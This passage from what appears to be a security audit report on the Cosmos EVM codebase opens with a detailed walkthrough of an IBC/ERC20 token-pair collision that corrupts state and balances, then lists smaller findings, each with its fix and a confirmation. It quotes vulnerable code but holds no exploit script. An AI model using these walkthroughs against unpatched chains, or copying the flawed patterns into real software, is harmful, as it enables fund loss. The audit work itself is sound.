Enumerating SHA-256 hashes is a much simpler problem than enumerating addresses generated from `CREATE2`, as BItcoin specialized ASICs can be employed directly.

A detailed walkthrough of the vulnerability follows below.

1. Register native denom `N`, with ERC20 address `A`

evm/x/erc20/keeper/proposals.go

```
func (k Keeper) registerERC20(
    ctx sdk.Context,
    contract common.Address,
) (*types.TokenPair, error) {
    // Check if ERC20 is already registered
    if k.IsERC20Registered(ctx, contract) {
        return nil, errorsmod.Wrapf(
            types.ErrTokenPairAlreadyExists, "token ERC20 contract already
            ↪  registered: %s", contract.String(),
        )
    }

    metadata, err := k.CreateCoinMetadata(ctx, contract)
    if err != nil {
        return nil, errorsmod.Wrap(
            err, "failed to create wrapped coin denom metadata for ERC20",
        )
    }

    pair := types.NewTokenPair(contract, metadata.Name, types.OWNER_EXTERNAL)
    k.SetToken(ctx, pair)
    return &pair, nil
}
```

evm/x/erc20/types/token_pair.go

```
// NewTokenPair returns an instance of TokenPair
func NewTokenPair(erc20Address common.Address, denom string, contractOwner Owner)
↪  TokenPair {
    return TokenPair{
```

```
        Erc20Address:  erc20Address.String(),
        Denom:         denom,
        Enabled:       true,
        ContractOwner: contractOwner,
    }
}
```

evm/x/erc20/keeper/token_pairs.go

```
// SetToken stores a token pair, denom map and erc20 map.
func (k *Keeper) SetToken(ctx sdk.Context, pair types.TokenPair) {
    k.SetTokenPair(ctx, pair)
    k.SetDenomMap(ctx, pair.Denom, pair.GetID())
    k.SetERC20Map(ctx, pair.GetERC20Contract(), pair.GetID())
}
```

Result:

- Token pair id: "A|N"
- SetTokenPair: "KeyPrefixTokenPair" -> "A|N" -> Pair {A, N, true, OWNER_EXTERNAL}
- SetDenomMap: "KeyPrefixTokenPairByDenom" -> N -> "A|N"
- SetERC20Map: "KeyPrefixTokenPairByERC20" -> A -> "A|N"

2. Receive via IBC foreign denom `ibc/{hash}`, ERC20 address A

evm/x/erc20/keeper/ibc_callbacks.go

```
coin := ibc.GetReceivedCoin(packet, token)
```

- coin.Denom = "ibc/{hash}"

```
pairID := k.GetTokenPairID(ctx, coin.Denom)
pair, found := k.GetTokenPair(ctx, pairID)
```

evm/x/erc20/keeper/token_pairs.go

```
func (k Keeper) GetTokenPairID(ctx sdk.Context, token string) []byte {
    if common.IsHexAddress(token) {
        addr := common.HexToAddress(token)
        return k.GetERC20Map(ctx, addr)
    }
>>  return k.GetDenomMap(ctx, token)
}
```

- GetDenomMap("ibc/{hash}") -> nil -> GetTokenPairID -> pairID

evm/x/erc20/keeper/token_pairs.go

```
func (k Keeper) GetTokenPair(ctx sdk.Context, id []byte) (types.TokenPair, bool) {
    if id == nil {
        return types.TokenPair{}, false
    }
```

- GetTokenPair -> pair = {}, found = false

evm/x/erc20/keeper/ibc_callbacks.go

```
case !found && strings.HasPrefix(coin.Denom, "ibc/") &&
↪  ibc.IsBaseDenomFromSourceChain(data.Denom):
    fmt.Println("ibc_callbacks::OnRecvPacket 2")
    tokenPair, err := k.RegisterERC20Extension(ctx, coin.Denom)
```

evm/x/erc20/keeper/dynamic_precompiles.go

```
func (k Keeper) RegisterERC20Extension(ctx sdk.Context, denom string)
↪  (*types.TokenPair, error) {
    pair, err := k.CreateNewTokenPair(ctx, denom)
    if err != nil {
        return nil, err
    }

    // Add to existing EVM extensions
    err = k.EnableDynamicPrecompiles(ctx, pair.GetERC20Contract())
    if err != nil {
        return nil, err
    }

    return &pair, err
}
```

evm/x/erc20/keeper/token_pairs.go

```
func (k *Keeper) CreateNewTokenPair(ctx sdk.Context, denom string)
↪  (types.TokenPair, error) {
    pair, err := types.NewTokenPairSTRv2(denom)
    if err != nil {
        return types.TokenPair{}, err
    }
    k.SetToken(ctx, pair)
    return pair, nil
}
```

evm/x/erc20/types/token_pair.go

```
func NewTokenPairSTRv2(denom string) (TokenPair, error) {
    address, err := utils.GetIBCDenomAddress(denom)
```

```
    if err != nil {
        return TokenPair{}, err
    }
    return TokenPair{
        Erc20Address:  address.String(),
        Denom:         denom,
        Enabled:       true,
        ContractOwner: OWNER_MODULE,
    }, nil
}
```

evm/utils/utils.go

```
func GetIBCDenomAddress(denom string) (common.Address, error) {
    if !strings.HasPrefix(denom, "ibc/") {
        return common.Address{},
        ↪  ibctransfertypes.ErrInvalidDenomForTransfer.Wrapf("coin %s does not have
        ↪  'ibc/' prefix", denom)
    }

    if len(denom) < 5 || strings.TrimSpace(denom[4:]) == "" {
        return common.Address{},
        ↪  ibctransfertypes.ErrInvalidDenomForTransfer.Wrapf("coin %s is not a
        ↪  valid IBC voucher hash", denom)
    }

    // Get the address from the hash of the ICS20's Denom Path
>>  bz, err := ibctransfertypes.ParseHexHash(denom[4:])
    if err != nil {
        return common.Address{},
        ↪  ibctransfertypes.ErrInvalidDenomForTransfer.Wrap(err.Error())
    }

>>  return common.BytesToAddress(bz), nil
}
```

go-ethereum/common/types.go

```
// BytesToAddress returns Address with value b.
// If b is larger than len(h), b will be cropped from the left.
func BytesToAddress(b []byte) Address {
    var a Address
    a.SetBytes(b)
    return a
}
```

evm/x/erc20/keeper/dynamic_precompiles.go

```
func (k Keeper) EnableDynamicPrecompiles(ctx sdk.Context, addresses
↪  ...common.Address) error {
```

```
    // Get the current params and append the new precompiles
    params := k.GetParams(ctx)
    activePrecompiles := params.DynamicPrecompiles
    fmt.Println("EnableDynamicPrecompiles ")

    // Append and sort the new precompiles
    updatedPrecompiles, err := appendPrecompiles(activePrecompiles, addresses...)
    if err != nil {
        return err
    }

    // Update params
    params.DynamicPrecompiles = updatedPrecompiles
    k.Logger(ctx).Info("Added new precompiles", "addresses", addresses)
    return k.SetParams(ctx, params)
}
```

Result:

- Token pair id: "A|ibc/{hash}"
- SetTokenPair: "KeyPrefixTokenPair" -> "A|ibc/{hash}" -> Pair {A, "ibc/{hash}", true, OWNER_MODULE}
- SetDenomMap: "KeyPrefixTokenPairByDenom" -> "ibc/{hash}" -> "A|ibc/{hash}"
- SetERC20Map: "KeyPrefixTokenPairByERC20" -> A -> "A|ibc/{hash}" (**overwrites A -> "A|N"**)
- params.DynamicPrecompiles += A

3. Result of executing 1. and then 2.

- Token pairs: "KeyPrefixTokenPair"
  - "A|N" -> Pair {A, N, true, OWNER_EXTERNAL}
  - "A|ibc/{hash}" -> Pair {A, "ibc/{hash}", true, OWNER_MODULE}
- DenomMap: "KeyPrefixTokenPairByDenom"
  - N -> "A|N"
  - "ibc/{hash}" -> "A|ibc/{hash}"
- ERC20Map: "KeyPrefixTokenPairByERC20"
  - **A -> "A|ibc/{hash}"**
- **params.DynamicPrecompiles contains A**

This is a corrupted state, with two token pairs/denoms mapping to the same address, and a single entry in the `ERC20Map`

4. Suppose a native coin N is received via IBC

- coin.Denom == N
- pairID == "A|N"
- pair == {A, N, true, OWNER_EXTERNAL}

evm/x/erc20/keeper/ibc_callbacks.go

```
case found && pair.IsNativeERC20():
    // Token pair is disabled -> return
    if !pair.Enabled {
        return ack
    }

    balance := k.bankKeeper.GetBalance(ctx, recipient, coin.Denom)
    if err := k.ConvertCoinNativeERC20(ctx, pair, balance.Amount,
    ↪  common.BytesToAddress(recipient.Bytes()), recipient); err != nil {
        return channeltypes.NewErrorAcknowledgement(err)
    }
```

- Recipient R, balance(R,N) = B1

evm/x/erc20/keeper/msg_server.go

```
func (k Keeper) ConvertCoinNativeERC20(
    ctx sdk.Context,
    pair types.TokenPair,
    amount math.Int,
    receiver common.Address, // @audit R
    sender sdk.AccAddress,   // @audit also R
) error {
    if !amount.IsPositive() {
        return sdkerrors.Wrap(types.ErrNegativeToken, "converted coin amount must be
        ↪  positive")
    }

    erc20 := contracts.ERC20MinterBurnerDecimalsContract.ABI
    contract := pair.GetERC20Contract()

>>  balanceToken := k.BalanceOf(ctx, erc20, contract, receiver)
    if balanceToken == nil {
        return sdkerrors.Wrap(types.ErrEVMCall, "failed to retrieve balance")
    }

    // Escrow Coins on module account
    coins := sdk.Coins{{Denom: pair.Denom, Amount: amount}}
>>  if err := k.bankKeeper.SendCoinsFromAccountToModule(ctx, sender,
↪   types.ModuleName, coins); err != nil {
        return sdkerrors.Wrap(err, "failed to escrow coins")
    }
```

```
    // Unescrow Tokens and send to receiver
>>  res, err := k.evmKeeper.CallEVM(ctx, erc20, types.ModuleAddress, contract,
↪   true, "transfer", receiver, amount.BigInt())
    if err != nil {
        return err
    }

    // Check unpackedRet execution
    var unpackedRet types.ERC20BoolResponse
    if err := erc20.UnpackIntoInterface(&unpackedRet, "transfer", res.Ret); err !=
    ↪  nil {
        return err
    }

    if !unpackedRet.Value {
        return sdkerrors.Wrap(errortypes.ErrLogic, "failed to execute unescrow
        ↪  tokens from user")
    }

    // Check expected Receiver balance after transfer execution
>>  balanceTokenAfter := k.BalanceOf(ctx, erc20, contract, receiver)
    if balanceTokenAfter == nil {
        return sdkerrors.Wrap(types.ErrEVMCall, "failed to retrieve balance")
    }

    exp := big.NewInt(0).Add(balanceToken, amount.BigInt())

    if r := balanceTokenAfter.Cmp(exp); r != 0 {
        return sdkerrors.Wrapf(
            types.ErrBalanceInvariance,
            "invalid token balance - expected: %v, actual: %v", exp,
            ↪  balanceTokenAfter,
        )
    }
```

- **All EVM calls to ERC20 A get redirected to precompile, with pair == {A, "ibc/{hash}", true, OWNER_MODULE}**
- `balanceToken := k.BalanceOf(ctx, erc20, contract, receiver)`
  - balanceToken == balance(R, "ibc/{hash}") = B2
- `k.bankKeeper.SendCoinsFromAccountToModule(ctx, sender, types.ModuleName, coins)`
  - balance(R, N) -= B1 = 0
  - balance(M, N) += B1
- `k.evmKeeper.CallEVM(ctx, erc20, types.ModuleAddress, contract, true, "transfer", receiver, amount.BigInt())`

    - balance(M, "ibc/{hash}") = Y - B1
    - balance(R, "ibc/{hash}") = B2 + B1
- `balanceTokenAfter := k.BalanceOf(ctx, erc20, contract, receiver)`
    - balanceTokenAfter == balance(R, "ibc/{hash}") == B2 + B1

Result:

- **State before:**
    - balance(R, N) = B1
    - balance(M, N) = X
    - balance(R, "ibc/{hash}") = B2
    - balance(M, "ibc/{hash}") = Y
- **State after:**
    - balance(R, N) = 0
    - balance(M, N) = X + B1
    - balance(R, "ibc/{hash}") = B2 + B1
    - balance(M, "ibc/{hash}") = Y - B1

As can be seen, **the resulting state is totally corrupted, and balances from native ERC20 and IBC coins are mixed together.**

5. Suppose the native ERC20 self-destructs, and `ConvertCoin` is called

evm/x/erc20/keeper/msg_server.go

```
func (k Keeper) ConvertCoin(
    goCtx context.Context,
    msg *types.MsgConvertCoin,
) (*types.MsgConvertCoinResponse, error) {
    ctx := sdk.UnwrapSDKContext(goCtx)

    // Error checked during msg validation
    sender := sdk.MustAccAddressFromBech32(msg.Sender)
    receiver := common.HexToAddress(msg.Receiver)

>>  pair, err := k.MintingEnabled(ctx, sender, receiver.Bytes(), msg.Coin.Denom)
    if err != nil {
        return nil, err
    }

    // Check ownership and execute conversion
    switch {
```

```
    case pair.IsNativeERC20():
        // Remove token pair if contract is suicided
        acc := k.evmKeeper.GetAccountWithoutBalance(ctx, pair.GetERC20Contract())
        if acc == nil || !acc.IsContract() {
>>          k.DeleteTokenPair(ctx, pair)
            k.Logger(ctx).Debug(
                "deleting selfdestructed token pair from state",
                "contract", pair.Erc20Address,
            )
            // NOTE: return nil error to persist the changes from the deletion
            return nil, nil
        }
```

evm/x/erc20/keeper/token_pairs.go

```
// DeleteTokenPair removes a token pair.
func (k Keeper) DeleteTokenPair(ctx sdk.Context, tokenPair types.TokenPair) {
    id := tokenPair.GetID()
    k.deleteTokenPair(ctx, id)
    k.deleteERC20Map(ctx, tokenPair.GetERC20Contract())
    k.deleteDenomMap(ctx, tokenPair.Denom)
    k.deleteAllowances(ctx, tokenPair.GetERC20Contract())
}
```

In the above: tokenPair == {A, N, true, OWNER_EXTERNAL}

Result:

- **State before:**
  - Token pairs: "KeyPrefixTokenPair"
    - "A|N" -> Pair {A, N, true, OWNER_EXTERNAL}
    - "A|ibc/{hash}" -> Pair {A, "ibc/{hash}", true, OWNER_MODULE}
  - DenomMap: "KeyPrefixTokenPairByDenom"
    - N -> "A|N"
    - "ibc/{hash}" -> "A|ibc/{hash}"
  - ERC20Map: "KeyPrefixTokenPairByERC20"
    - **A -> "A|ibc/{hash}"**
  - **params.DynamicPrecompiles contains A**
- **State after:**
  - Token pairs: "KeyPrefixTokenPair"
    - "A|ibc/{hash}" -> Pair {A, "ibc/{hash}", true, OWNER_MODULE}
  - DenomMap: "KeyPrefixTokenPairByDenom"

        * "ibc/{hash}" -> "A|ibc/{hash}"
    - ERC20Map: "KeyPrefixTokenPairByERC20"
        * No entry for A
    - **params.DynamicPrecompiles contains A**

As can be seen, **the state becomes even more corrupted, with `ERC20Map` not containing any entries, but token pairs, `DenomMap`, and dynamic precompiles still having some remnants.** It seems possible that further execution of available actions can drive the state towards further corruption, and other severe impacts.

Impact

Corruption of the internal state tracking ERC20 token pairs; wrong balance accounting; possible further impacts resulting from the corrupted state.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/x/erc20/keeper/token_pairs.go#L61-L69

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/utils/utils.go#L124-L141

Tool Used

Manual Review

Recommendation

Make sure to check for all newly created token pairs, independently of how they are introduced, that no collisions with existing ones are possible. For that it's sufficient to always check, when creating a new token pair `tp` that:

- `k.GetERC20Map(ctx, tp.GetERC20Contract())` returns an empty slice;
- `k.GetDenomMap(ctx, tp.denom)` returns an empty slice.

Discussion

kuprumxyz

The fix is confirmed:

- `CreateNewTokenPair`, called from `RegisterERC20Extension` upon introduction of a new IBC coin, now checks whether the account associated with the token pair is an existing contract account (covers address collisions);
- additionally, `SetToken` is modified to return an error if the token pair is already registered, and all its call sites now validate for the error (covers token collisions).

Issue M-24: Indexer service infinite loop causing resource exhaustion

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/605

Summary

The EVM indexer service contains an issue that can cause infinite loops when block results are not immediately available after block creation. This leads to resource exhaustion.

Vulnerability Detail

The indexer service is responsible for processing blockchain blocks and their associated results for chain. The service operates by continuously fetching blocks and their corresponding block results from the blockchain client. However, there exists a timing window between when a block is created and when its results are committed to storage.

The issue is in the indexer's error handling logic when attempting to fetch block results. When the indexer encounters an error retrieving block results (typically with an error message like ”could not find results for height #X”), it immediately retries the same operation without any backoff mechanism or wait period. This creates an infinite loop where the indexer continuously bombards the blockchain client with requests for the same unavailable block results.

Impact

Excessive CPU utilization from continuous retry loops.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/rpc/backend/backend.go#L146-L147

Tool Used

Manual Review

Recommendation

Implement proper error handling with backoff mechanisms in the indexer service.

Discussion

defsec

Fix is confirmed.

Issue M-25: Inaccurate gas balance exposure in Get-Balance

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/609

Summary

The `GetBalance` method currently returns the total balance using `bankKeeper.GetBalance`, which includes locked or non-spendable tokens. This creates a mismatch between the reported balance via `getBalance` and the actual funds available for gas payment, potentially leading to transaction failures.

Vulnerability Detail

The EVM relies on the result of `getBalance` to determine if an account has sufficient funds to pay for gas. By returning the total token balance, including locked funds, the current implementation may cause:

- Wallets and dApps to overestimate available funds.
- Users to encounter ”insufficient funds” errors at execution time.
- Inconsistent behavior across nodes or environments that use spendable-only accounting.

Impact

Users may see false-positive balances and submit transactions that fail.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/x/vm/keeper/keeper.go#L284-L285

Tool Used

Manual Review

Recommendation

Replace `bankWrapper.GetBalance` with `bankWrapper.SpendableCoin` to ensure only liquid, spendable tokens are reported as part of the EVM-visible balance.

Reference :
https://github.com/cosmos/cosmos-sdk/blob/main/x/bank/keeper/view.go#L202

Discussion

defsec

Fix is confirmed.

Issue M-26: GetProof uses stale height (0) for latest/pending block queries

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/611

Summary

In the GetProof function, there is a timing issue with context creation and height adjustment that causes queries to use incorrect block heights, leading to inconsistent state queries.

Vulnerability Detail

The issue occurs due to the incorrect order of operations in the `GetProof` function. The context is created with the initial height value before the height adjustment logic is performed:

1. Context is created with `height=0` (or the initial height value)
2. Height adjustment logic runs afterwards to determine the correct height for "pending" or "latest" queries
3. The query executes using the original context with the wrong height

The problematic sequence is:

```
ctx := rpc.NewContextWithHeight(height)  // Context created with potentially wrong
↪  height

// Height adjustment happens AFTER context creation
if height == 0 {
    bn, err := b.BlockNumber()
    if err != nil {
        return nil, err
    }
    height = int64(bn)  // Height is updated but context still uses old value
}

// Query uses the stale context
res, err := b.queryClient.EthAccount(ctx, req)
```

Impact

Queries for "latest" or "pending" blocks will return data from block height 0 instead of the actual latest block.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/rpc/backend/account_info.go#L45-L46

Tool Used

Manual Review

Recommendation

Move the context creation to after the height adjustment logic to ensure the context uses the correct height.

Discussion

defsec

Fix is verified.

Issue M-27: Inconsistent enforcement of available static precompiles

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/613

Summary

The static precompiles from Geth available in Cosmos EVM are supposed to be restricted to those from the `Berlin` hard fork. The restriction enforcement is done wrongly though, and a non-Berlin precompile (e.g. the one from the `Prague` hard fork) may be called despite restriction. This may be done only before one of the supposedly available static or dynamic precompiles is called; afterwards `Prague`- `Berlin` precompiles can't be called anymore.

Vulnerability Detail

As follows from evm/x/vm/keeper/static_precompiles.go::IsAvailableStaticPrecompile, static precompiles are supposed to be restricted to the Cosmos EVM static precompiles + static precompiles from the `Berlin` hard fork:

```
func (k Keeper) IsAvailableStaticPrecompile(params *types.Params, address
↪  common.Address) bool {
    return slices.Contains(params.ActiveStaticPrecompiles, address.String()) ||
>>      slices.Contains(vm.PrecompiledAddressesBerlin, address)
}
```

The enforcement is performed via GetPrecompilesCallHook, which overwrites the EVM precompiles if the address called is one of the available static or dynamic precompiles:

```
func (k *Keeper) GetPrecompilesCallHook(ctx sdktypes.Context) types.CallHook {
    return func(evm *vm.EVM, _ common.Address, recipient common.Address) error {
        // Check if the recipient is a precompile contract and if so, load the
        ↪  precompile instance
>>      precompiles, found, err := k.GetPrecompileInstance(ctx, recipient)
        if err != nil {
            return err
        }

        // If the precompile instance is created, we have to update the EVM with
        // only the recipient precompile and add it's address to the access list.
        if found { // @audit this is skipped for precompiles from `Prague` but not
        ↪  `Berlin`
>>          evm.WithPrecompiles(precompiles.Map)
>>          evm.StateDB.AddAddressToAccessList(recipient)
        }
```

```
        return nil
    }
}
```

This affects all Geth precompile addresses that are in `Prague` hard fork, but not in `Berlin` hard fork; see go-ethereum/core/vm/contracts.go

```
common.BytesToAddress([]byte{0x0a}): &kzgPointEvaluation{},
common.BytesToAddress([]byte{0x0b}): &bls12381G1Add{},
common.BytesToAddress([]byte{0x0c}): &bls12381G1MultiExp{},
common.BytesToAddress([]byte{0x0d}): &bls12381G2Add{},
common.BytesToAddress([]byte{0x0e}): &bls12381G2MultiExp{},
common.BytesToAddress([]byte{0x0f}): &bls12381Pairing{},
common.BytesToAddress([]byte{0x10}): &bls12381MapG1{},
common.BytesToAddress([]byte{0x11}): &bls12381MapG2{},
```

Impact

We have two possible call paths if a precompile is in `Prague`, but not in `Berlin` hard fork:

1. If such precompile is called before any other precompile that is supposed to be available in Cosmos EVM, the call will succeed.
2. If it's called after any other precompile that is supposed to be available in Cosmos EVM, the call will fail (the available precompiles will be overwritten via `GetPrecompilesCallHook`).

This creates an inconsistency in enforcing precompile restrictions, and may lead to further consequences due to the fact that such callable precompile address is not added to the StateDB access list, and the journal entry for it is not created.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/x/vm/keeper/static_precompiles.go#L44-L47

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/x/vm/keeper/precompiles.go#L51-L68

Tool Used

Manual Review

Recommendation

Either make all static precompiles from the most recent Ethereum hard fork available (i.e. upgrade the restriction in `IsAvailableStaticPrecompile` from `Berlin` to `Prague`), or make sure to restrict the list of available precompiles in EVM to those from `Berlin` right when the EVM instance is created.

Discussion

kuprumxyz

The fix is confirmed: instead of `Berlin`, all `Prague` precompiles are now enabled.

Issue L-1: Missing channel state validation in ICS-20 transfer

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/513

Summary

The ICS-20 transfer precompile only checks if a channel exists using `HasChannel()` but does not validate the channel's state or underlying connection.

Vulnerability Detail

The channel validation logic is incomplete:

```
// If the channel is in v1 format, check if channel exists and is open
if channeltypes.IsChannelIDFormat(msg.SourceChannel) {
    // check if channel exists and is open
    hasV1Channel := p.channelKeeper.HasChannel(ctx, msg.SourcePort,
    ↪  msg.SourceChannel)
    if !hasV1Channel {
        return nil, errorsmod.Wrapf(
            channeltypes.ErrChannelNotFound,
            "port ID (%s) channel ID (%s)",
            msg.SourcePort,
            msg.SourceChannel,
        )
    }
}
```

The comment states "check if channel exists **and is open**" but the implementation only verifies existence via `HasChannel()`. The code is missing:

1. **Channel State Validation**: No verification that `channel.State == channeltypes.OPEN`
2. **Connection Validation**: No check that the underlying connection exists and is active

Impact

- Users can initiate transfers through non-operational channels.

Code Snippet

```
// Current incomplete implementation
if channeltypes.IsChannelIDFormat(msg.SourceChannel) {
    // Only checks existence, not state
    hasV1Channel := p.channelKeeper.HasChannel(ctx, msg.SourcePort,
    ↪  msg.SourceChannel)
    if !hasV1Channel {
        return nil, errorsmod.Wrapf(
            channeltypes.ErrChannelNotFound,
            "port ID (%s) channel ID (%s)",
            msg.SourcePort,
            msg.SourceChannel,
        )
    }
    // MISSING: Channel state and connection validation
}
```

Tool Used

Manual Review

Recommendation

Consider implementing channel and connection validation.

```
if channeltypes.IsChannelIDFormat(msg.SourceChannel) {
    // Get full channel information instead of just checking existence
    channel, found := p.channelKeeper.GetChannel(ctx, msg.SourcePort,
    ↪  msg.SourceChannel)
    if !found {
        return nil, errorsmod.Wrapf(
            channeltypes.ErrChannelNotFound,
            "port ID (%s) channel ID (%s)",
            msg.SourcePort,
            msg.SourceChannel,
        )
    }

    // Validate channel is in OPEN state
    if channel.State != channeltypes.OPEN {
        return nil, errorsmod.Wrapf(
            channeltypes.ErrInvalidChannelState,
            "channel (%s) is not open, current state: %s",
            msg.SourceChannel,
            channel.State.String(),
        )
```

```
    }

    // Validate underlying connection exists and is active
    connection, found := p.connectionKeeper.GetConnection(ctx,
    ↪  channel.ConnectionHops[0])
    if !found {
        return nil, errorsmod.Wrapf(
            connectiontypes.ErrConnectionNotFound,
            "connection (%s) not found for channel (%s)",
            channel.ConnectionHops[0],
            msg.SourceChannel,
        )
    }

    // Validate connection is in OPEN state
    if connection.State != connectiontypes.OPEN {
        return nil, errorsmod.Wrapf(
            connectiontypes.ErrInvalidConnectionState,
            "connection (%s) is not open, current state: %s",
            channel.ConnectionHops[0],
            connection.State.String(),
        )
    }
}
```

Discussion

defsec

Fix is verified. But need to check multi-hop.

Issue L-2: Wrong Approval events emitted in ERC20 precompile

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/525

Summary

In ERC20 precompile, `Approval` events are emitted with the wrong `owner` field.

Vulnerability Detail

According to EIP-20, `Approval` events should contain the owner address:

> **Approval**
> MUST trigger on any successful call to `approve(address _spender, uint256 _value)`.
> `event Approval(address indexed _owner, address indexed _spender, uint256 _value)`

Despite that, in precompiles/erc20/approve.go#L70, `Approval` event is emitted with the address of the precompile contract instead of that of the `owner`:

```
// TODO: check owner?
if err := p.EmitApprovalEvent(ctx, stateDB, p.Address(), spender, amount); err !=
↪  nil {
    return nil, err
}
```

The same in L127 & L197. As the `TODO` indicates, this was planned, but never implemented.

Impact

Off-chain services relying on event logs (e.g., for accounting or user interfaces) may display incorrect allowance values, leading to user confusion or mismanagement of funds.

Tool Used

Manual Review

Recommendation

Apply the below diff:

```
diff --git a/evm/precompiles/erc20/approve.go b/evm/precompiles/erc20/approve.go
index 2a451d5..40dc1d6 100644
--- a/evm/precompiles/erc20/approve.go
+++ b/evm/precompiles/erc20/approve.go
@@ -67,7 +67,7 @@ func (p Precompile) Approve(
    }

    // TODO: check owner?
-   if err := p.EmitApprovalEvent(ctx, stateDB, p.Address(), spender, amount); err
 ↪  != nil {
+   if err := p.EmitApprovalEvent(ctx, stateDB, owner, spender, amount); err != nil
 ↪  {
        return nil, err
    }

@@ -124,7 +124,7 @@ func (p Precompile) IncreaseAllowance(
    }

    // TODO: check owner?
-   if err := p.EmitApprovalEvent(ctx, stateDB, p.Address(), spender, amount); err
 ↪  != nil {
+   if err := p.EmitApprovalEvent(ctx, stateDB, owner, spender, amount); err != nil
 ↪  {
        return nil, err
    }

@@ -194,7 +194,7 @@ func (p Precompile) DecreaseAllowance(
    }

    // TODO: check owner?
-   if err := p.EmitApprovalEvent(ctx, stateDB, p.Address(), spender, amount); err
 ↪  != nil {
+   if err := p.EmitApprovalEvent(ctx, stateDB, owner, spender, amount); err != nil
 ↪  {
        return nil, err
    }
```

Discussion

kuprumxyz

The fix is confirmed: implemented as per recommendation.

Issue L-3: WATOM withdraw function uses deprecated .transfer() causing failures

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/526

Summary

The WATOM contract's `withdraw` function uses `.transfer()` which has a 2300 gas limit, making it incompatible with Gnosis Safe and other smart contract wallets that require more gas for execution.

Vulnerability Detail

The `withdraw` function uses the deprecated `.transfer()` method:

```
function withdraw(uint256 amount) public {
    require(balanceOf[msg.sender] >= amount, "insufficient balance");
    balanceOf[msg.sender] -= amount;
    payable(msg.sender).transfer(amount);  // 2300 gas limit
    emit Withdrawal(msg.sender, amount);
}
```

The `.transfer()` method forwards only 2300 gas to the recipient, which is insufficient for:

- Gnosis Safe multisig wallets (require more than 2300 gas)
- Contract wallets with complex receive logic
- Proxy contracts that forward calls
- Any contract implementing custom receive/fallback functions

Impact

- **Gnosis Safe Incompatibility**: Users with Gnosis Safe wallets cannot withdraw their wrapped tokens
- **Smart Contract Wallet Failures**: Many institutional users rely on contract wallets that will fail
- **DeFi Integration Issues**: Protocols using contract-based treasury management cannot interact
- **User Fund Lock**: Users may deposit ETH but be unable to withdraw it back

Code Snippet

```
function withdraw(uint256 amount) public {
    require(balanceOf[msg.sender] >= amount, "insufficient balance");
    balanceOf[msg.sender] -= amount;
    payable(msg.sender).transfer(amount);
    emit Withdrawal(msg.sender, amount);
}
```

Tool Used

Manual Review

Recommendation

Replace `.transfer()` with the safer `.call()` pattern:

```
function withdraw(uint256 amount) public {
    require(balanceOf[msg.sender] >= amount, "insufficient balance");
    balanceOf[msg.sender] -= amount;

    (bool success, ) = payable(msg.sender).call{value: amount}("");
    require(success, "ETH transfer failed");

    emit Withdrawal(msg.sender, amount);
}
```

Discussion

defsec

Fix is confirmed.

Issue L-4: Incorrect error handling on the `Logs`

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/529

Summary

The `Logs` function incorrectly returns `nil, nil` instead of `nil, err` when an error occurs, causing error information to be lost and making debugging difficult.

Vulnerability Detail

In the error handling section of the `Logs` function, when `TendermintBlockResultByNumber` fails, the function returns `nil, nil` instead of properly propagating the error:

```
blockRes, err := f.backend.TendermintBlockResultByNumber(&resBlock.Block.Height)
if err != nil {
    f.logger.Debug("failed to fetch block result from Tendermint", "height",
    ↪  resBlock.Block.Height, "error", err.Error())
    return nil, nil
```

This causes the actual error to be suppressed, even though it's logged at debug level. The calling code will receive a successful result (no error) when an actual error occurred.

Impact

- Errors are hidden from calling functions.

Code Snippet

filters.go#L110-L111

```
blockRes, err := f.backend.TendermintBlockResultByNumber(&resBlock.Block.Height)
if err != nil {
    f.logger.Debug("failed to fetch block result from Tendermint", "height",
    ↪  resBlock.Block.Height, "error", err.Error())
    return nil, nil    // Error is suppressed
}
```

Tool Used

Manual Review

Recommendation

Return the error properly to maintain error propagation:

```
blockRes, err := f.backend.TendermintBlockResultByNumber(&resBlock.Block.Height)
if err != nil {
    f.logger.Debug("failed to fetch block result from Tendermint", "height",
    ↪  resBlock.Block.Height, "error", err.Error())
    return nil, err
}
```

Discussion

defsec

Fix is verified.

Issue L-5: VestingPrecompile address defined but implementation missing

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/533

Summary

The VestingPrecompile is defined as a constant address and included in the list of available static precompiles, but there is no actual implementation of this precompile in the codebase.

Vulnerability Detail

In the file `x/vm/types/precompiles.go`, the VestingPrecompile is defined with a specific address (`0x0000000000000000000000000000000000000803`) and is included in the `AvailableStaticPrecompiles` list. However, unlike other precompiles in this list (such as Staking, Distribution, Bank, etc.), there is no actual implementation of the VestingPrecompile in the codebase. There is no package, interface definition, or registration logic for this precompile.

Impact

Any transaction attempting to interact with the VestingPrecompile at the advertised address will fail.

Code Snippet

precompiles.go#L12-L13

From `x/vm/types/precompiles.go`:

```
const (
    StakingPrecompileAddress      = "0x0000000000000000000000000000000000000800"
    DistributionPrecompileAddress = "0x0000000000000000000000000000000000000801"
    ICS20PrecompileAddress        = "0x0000000000000000000000000000000000000802"
